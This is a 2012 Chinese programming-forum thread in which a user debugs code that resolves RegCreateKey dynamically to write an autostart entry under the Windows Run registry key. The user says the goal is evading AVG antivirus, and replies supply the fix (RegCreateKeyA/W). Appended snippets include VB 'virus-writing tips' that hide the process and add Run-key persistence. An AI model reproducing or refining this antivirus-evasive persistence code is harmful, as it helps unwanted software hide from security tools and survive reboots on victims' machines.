RegCreateKey动态载入失败问题求指教

csh_cool 2012-05-09 08:40:37

#pragma comment(lib, "Advapi32.lib")

{
。。。。。。。。。。。。

HINSTANCE hDLL;
REFI lpfnDllFunc1;
char DLLFunc1[]={("RegCreateKey")};
hDLL = LoadLibraryA("Advapi32");
if (hDLL != NULL)
{
lpfnDllFunc1 = (REFI)GetProcAddress(hDLL,DLLFunc1);//
if (!lpfnDllFunc1) //到此失败 =======求指教，谢谢各位大侠
{
FreeLibrary(hDLL);
}
else
{
if (lpfnDllFunc1(HKEY_CURRENT_USER,str,&hKey)!=ERROR_SUCCESS)
{
RegCloseKey(hKey);
}
else
{
int length = 0;
while(destpath[length]!=('\0'))
length++;
RegSetValueEx(hKey, _T("Subtem"), 0, REG_SZ,(const BYTE *)destpath, sizeof(TCHAR)*length);
RegCloseKey(hKey);
}
}
}
。。。。。。。。。。。。
}

...全文

113 10 打赏收藏转发到动态举报

写回复

10 条回复

切换为时间正序

请发表友善的回复…

发表回复

csh_cool 2012-05-10

打赏
举报

回复

[Quote=引用 8 楼的回复:]
str是啥
如果是宽字符则RegCreateKeyW
[/Quote]

谢谢是W就可以了

csh_cool 2012-05-10

打赏
举报

回复

[Quote=引用 8 楼的回复:]
str是啥
如果是宽字符则RegCreateKeyW
[/Quote]
我设置了unicode
HKEY hKey;
TCHAR * str = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

Lactoferrin 2012-05-09

打赏
举报

回复

str是啥
如果是宽字符则RegCreateKeyW

csh_cool 2012-05-09

打赏
举报

回复

我取消动态载入就能成功

csh_cool 2012-05-09

打赏
举报

回复

[Quote=引用 5 楼的回复:]
char DLLFunc1[]="RegCreateKeyA";
[/Quote]
HINSTANCE hDLL;
REFI lpfnDllFunc1;
char DLLFunc1[]="RegCreateKeyA";
hDLL = LoadLibraryA("Advapi32");
if (hDLL != NULL)
{
lpfnDllFunc1 = (REFI)GetProcAddress(hDLL,DLLFunc1);//
if (!lpfnDllFunc1)
{
int s=GetLastError();
FreeLibrary(hDLL);
}
else
{
if (lpfnDllFunc1(HKEY_CURRENT_USER,str,&hKey)!=ERROR_SUCCESS)
{
RegCloseKey(hKey);
}
else
{
int length = 0;
while(destpath[length]!=('\0'))
length++;
if (ERROR_SUCCESS== (RegSetValueEx(hKey, _T("Subtem"), 0, REG_SZ,(const BYTE *)destpath, sizeof(TCHAR)*length)) )
{
printf("write key ok");//////////////
}
else
printf("write key failed");
RegCloseKey(hKey);
}
}
}
谢谢现在能显示成功了，但我在注册表里找不到是怎莫回事呢

Lactoferrin 2012-05-09

打赏
举报

回复

char DLLFunc1[]="RegCreateKeyA";

csh_cool 2012-05-09

打赏
举报

回复

[Quote=引用 1 楼的回复:]
GetLastError()看看是什么？

直接使用不行吗？
[/Quote]
error code：127 找不到制定程序

csh_cool 2012-05-09

打赏
举报

回复

[Quote=引用 1 楼的回复:]
GetLastError()看看是什么？

直接使用不行吗？
[/Quote]
avg免杀

Lactoferrin 2012-05-09

打赏
举报

回复

char DLLFunc1[]="RegCreateKey";

Eleven 2012-05-09

打赏
举报

回复

GetLastError()看看是什么？

直接使用不行吗？

易语言枚举SPI源码,枚举SPI,RegEnumKey,RegCreateKey

Option Explicit Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. Private Const HKEY_CURRENT_USER = &H80000001 Private Const REG_SZ = 1 Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. Private Const HKEY_CURRENT_USER = &H80000001 Private Const REG_SZ = 1 Private Sub Form_Load() Dim SubKey As String Dim Exe As String Dim hKey As Long SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" Exe = App.Path & "\color.exe" '你所要啟動的項目 RegCreateKey HKEY_CURRENT_USER, SubKey, hKey RegSetValueEx hKey, "你想要命名的名", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1 RegCloseKey hKey End Sub

告诉你几个VB写病毒的常识 HideCurrentProcess '隐藏进程 Dim hKey As Long, SubKey As String, Exe As String SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" Exe = App.Path & "\" & App.EXEName & ".exe" RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey RegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1 RegCloseKey hKey'开机启动 ......

与大家分享一个VC 简单操作注册表的范例，主要完成注册表键值的读取和写入，向注册表中写入键值、并修改指定项的值，或删除数值，添加条目、删除条目、查询用户信息等，每一步操作都会弹出注册表操作成功与否的提示，是新手向注册表进阶的基础实例，比较容易理解。　　涉及到VC 中的RegQueryValueEx函数、RegCloseKey、RegDeleteKey、RegCreateKey等函数，这些函数在VC 中，是比较常见的操作注册表的函数，很有必要掌握使用技巧哦。

RegCreateKey 创建一个KEY，并返回相应的HKEY RegOpenKey 打开注册表，得到一个HKEY，用来作为下面这些函数的第一个参数。

进程/线程/DLL

15,471

社区成员

49,181

社区内容

发帖

与我相关

我的任务

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章